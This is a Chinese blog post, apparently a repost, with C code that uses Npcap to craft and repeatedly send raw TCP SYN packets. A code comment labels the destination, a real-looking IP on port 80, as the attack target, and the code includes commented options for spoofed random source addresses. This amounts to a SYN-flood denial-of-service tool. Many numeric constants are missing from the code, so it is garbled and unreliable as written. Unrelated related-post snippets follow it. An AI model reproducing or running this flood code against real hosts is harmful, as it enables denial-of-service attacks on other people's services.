1、来自:winpcap实现syn攻击 - 125096 - CSDN博客.html(https://blog.csdn.net/qq125096885/article/details/51784524

2、我的代码:(代码 用Npcap来跑,基本不用修改)(Win7x64、vs2017、使用 x86编译的Debug版本)

// Npcap_01.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
// #include <iostream> #pragma warning(disable : 4996) //int main()
//{
// std::cout << "Hello World!\n";
//} //#define _W64
//#define HAVE_REMOTE
#include<stdio.h>
#include<pcap.h>
#include<winsock2.h>
#include <time.h>
//#include "remote-ext.h" #pragma comment(lib,"wpcap.lib")
#pragma comment(lib,"WS2_32.lib") #pragma pack(push,1)
typedef struct _TCP_SYN
{
unsigned char DstMAC[]; // 目的mac地址
unsigned char SrcMAC[]; // 源mac地址
unsigned char OtherData[];
unsigned short Header_ChechSum; // 校验和
unsigned int SrcIP; // Source IP address
unsigned int DstIP; // Destination IP address
unsigned short SrcPort; // Source IP Port
unsigned short DstPort; // Destination IP Port,一般为80端口,值为0x5000
unsigned char Ohters[];
unsigned short pak_checksum;
unsigned char OtherLast[];
}TCP_SYN, *PTCP_SYN;
#pragma pack(pop) unsigned char bufData[] = "\x00\x25\x86\x27\xd1\x22\x90\x2b\x34\x60\xbd\x44\x08\x00\x45\x00"
"\x00\x34\x61\xdc\x40\x00\x80\x06\x71\x83\xc0\xa8\x01\x6a\x7a\xe4"
"\xea\x6d\x0b\x0c\x00\x50\xb9\xc2\xf5\x06\x00\x00\x00\x00\x80\x02"
"\xff\xff\x8d\x8d\x00\x00\x02\x04\x05\xb4\x01\x03\x03\x01\x01\x01"
"\x04\x02"; // clac the header's check sum
unsigned short checksum(unsigned short *buffer, int size)
{
unsigned long cksum = ;
while (size > )
{
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if (size)
{
cksum += *(unsigned char*)buffer;
}
cksum = (cksum >> ) + (cksum & 0xffff);
cksum += (cksum >> );
return (unsigned short)(~cksum);
} int main(int argc, char* argv[])
{
pcap_if_t *alldevs;
pcap_if_t *seldev;
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE];
srand(time()); /* 获取本机设备列表 */
if (pcap_findalldevs(&alldevs, errbuf) == -)
{
fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
exit();
} // 找到一个有ip的就当有连网的网卡了
for (seldev = alldevs; seldev != NULL; seldev = seldev->next)
{
pcap_addr* pcapaddr = NULL;
for (pcapaddr = seldev->addresses; pcapaddr != NULL; pcapaddr = pcapaddr->next)
{
//if (pcapaddr->addr->sa_data[2] != '\0' && pcapaddr->addr->sa_data[3] != '\0')
//{
// break;
//} printf("seldev->name : %s\n", seldev->name);
for (int i = ; i < ; i++)
printf("%d ", (UCHAR)pcapaddr->addr->sa_data[i]);
printf("\n"); //printf("%d, %d\n", pcapaddr->addr->sa_data[2], pcapaddr->addr->sa_data[3]);
if ((UCHAR)pcapaddr->addr->sa_data[] == && (UCHAR)pcapaddr->addr->sa_data[] == )
{
printf("will break;\n");
break;
}
}
if (pcapaddr != NULL)
break; printf("\n");
}
if (seldev == NULL)
{
fprintf(stderr, "Can not find network!\n");
exit();
} printf("seldev->name : %d\n", seldev->name);
for (int i = ; i < ; i++)
printf("%d ", (UCHAR)seldev->addresses->addr->sa_data[i]);
printf("\n"); /* 打开这个输出设备 */
if ((fp = pcap_open(seldev->name, // 设备名
, // 要捕获的部分 (只捕获前100个字节)
PCAP_OPENFLAG_PROMISCUOUS, // 混杂模式
, // 读超时时间
NULL, // 远程机器验证
errbuf // 错误缓冲
)) == NULL)
{
fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", alldevs->name);
return -;
} // 修改源MAC、IP地址 , 并修改首部校验和
PTCP_SYN SynData = (PTCP_SYN)bufData;
while ()
{
//memcpy(SynData->SrcMAC, "\x01\x01\x01\x01\x01\x01", 6); // 源MAC地址 01:01:01:01:01:01
memcpy(SynData->SrcMAC, "\x04\xd4\xc4\x59\x7a\x1c", );// 04-D4-C4-59-7A-1C
memcpy(SynData->DstMAC, "\x04\xf9\x38\xa6\xd7\xcb", );// 04-f9-38-a6-d7-cb SynData->DstIP = inet_addr("39.156.69.79"); // 攻击的目标
SynData->DstPort = htons(); // 目标端口80
SynData->SrcIP = inet_addr("172.16.19.181");// (unsigned int)rand(); // 源IP地址随机产生
SynData->SrcPort = htons();// (unsigned short)rand() % 100 + 1024; // 源端口随机产生 SynData->Header_ChechSum = ;
SynData->Header_ChechSum = checksum((unsigned short*)&bufData[], ); // 计算checksum
// printf("%d\n", SynData->Header_ChechSum); /* 发送数据包 */
// (wireshark 黑底红字为 校验和错误 的包).
if (pcap_sendpacket(fp, bufData, sizeof(bufData) - ) != )
{
fprintf(stderr, "\nError sending the packet: \n", pcap_geterr(fp));
return -;
} system("pause");
//break;
} /* 释放设备列表 */
pcap_freealldevs(alldevs);
return ;
}

3、

4、

5、

Npcap.例子(raw tcp syn)的更多相关文章

  1. 扯谈网络编程之Tcp SYN flood洪水攻击

    简单介绍 TCP协议要经过三次握手才干建立连接: (from wiki) 于是出现了对于握手过程进行的攻击.攻击者发送大量的SYN包,server回应(SYN+ACK)包,可是攻击者不回应ACK包,这 ...

  2. TCP SYN flood洪水攻击原理和防御破解

    简介 TCP协议要经过三次握手才能建立连接: 于是出现了对于握手过程进行的攻击.攻击者发送大量的SYN包,服务器回应(SYN+ACK)包,但是攻击者不回应ACK包,这样的话,服务器不知道(SYN+AC ...

  3. TCP SYN扫描学习笔记

    1.TCP SYN包扫描主机状态的原理:tcp协议规定,当目标主机收到一个tcp syn 包时,若目标主机处于开放状态,会返回给源主机一个tcp ack 包(目的端口开放),或者向源主机发送一个tcp ...

  4. Windows下C语言的Socket编程例子(TCP和UDP)

    原文:Windows下C语言的Socket编程例子(TCP和UDP) 刚刚学windows编程,所以想写学习笔记,这是一个简单的Socket程序例子,开发环境是vc6: 首先是TCP server端: ...

  5. [转] 3个学习Socket编程的简单例子:TCP Server/Client, Select

    以前都是采用ACE的编写网络应用,最近由于工作需要,需要直接只用socket接口编写CS的代码,重新学习这方面的知识,给出自己所用到的3个简单例子,都是拷贝别人的程序.如果你能完全理解这3个例子,估计 ...

  6. C#Winform窗体实现服务端和客户端通信例子(TCP/IP)

    Winform窗体实现服务端和客户端通信的例子,是参考这个地址 http://www.cnblogs.com/longwu/archive/2011/08/25/2153636.html 进行了一些异 ...

  7. 170410、java Socket通信的简单例子(TCP)

    服务端代码: package com.bobohe.socket; import java.io.*; import java.net.*; import java.applet.Applet; pu ...

  8. Npcap.资料

    1.ZC:Npcap 是 WinPcap停更之后的继承者.我尝试了 Win7中发送raw tcp syn,它的代码和 使用WinPcap的基本一致. Developing software with ...

  9. TCP:三次握手,URG、ACK、PSH、RST、SYN、FIN 含义

    http://blog.csdn.net/wudiyi815/article/details/8505726 TCP:SYN ACK FIN RST PSH URG简析   三次握手Three-way ...

随机推荐

  1. Centos 改ssh 端口

    1.修改配置文件:/etc/ssh/sshd_config 2.修改 #Port 22 把前面的#注释删掉,然后添加一个Port XXXX 定义一个自己的.例如我喜欢 Port 22333 3.修改后 ...

  2. VIM--保存和退出等命令

    在 Linux 中使用 vim 时,输入 vim xxx.file 按 ESC,左下角就可以进行输入 :w 保存但不退出 :wq 保存并退出 :q 退出 :q! 强制退出,不保存 :e! 放弃所有修改 ...

  3. js中特殊的宏任务

    一.setImmediate 目前只有IE10+和NodeJS支持该API. 立即触发回调函数,使其进入宏任务队列(macro task queue) 语法: // 只有一个参数 setImmedia ...

  4. Yarn 配置阿里源

    1.查看一下当前源 yarn config get registry 2.切换为淘宝源 yarn config set registry https://registry.npm.taobao.org ...

  5. learning scala type alise

    How to use type alias to name a Tuple2 pair into a domain type called CartItem type CartItem[Donut, ...

  6. QT项目之创建.pri文件

    做大项目的时候,有很多.h和.cpp文件,会很繁琐.就需要.pri文件夹,将大项目分解成一个个的子项目,方便理清思绪和后期维护. 废话不多说,直接上过程! 第一步:新建一个项目.如图,选择choose ...

  7. 系列属性(offset、scroll、client)

    一.offset系列属性 <div id="dv"></div> <!-- 已在style标签里设置div宽高各100px --> <sc ...

  8. RBF、GRNN 和 PNN 神经网络在Matlab中的用法

    一.RBF神经网络 RBF神经网络概述 径向基函数神经网络 与 BP 神经网络的区别在于训练过程--其参数初始化具有一定方法,并非随机,隐含层的末尾使用了径向基函数,它的输出经过加权和得到 LW2.1 ...

  9. Ubuntu 14.04 indigo 相关依赖

    sudo apt-get install libbullet-dev sudo apt-get install ros-indigo-bfl sudo apt-get install libsdl-d ...

  10. ICEM-圆锥的一种画法

    原视频下载地址:https://yunpan.cn/cqK53dKBnduM9  访问密码 42be ​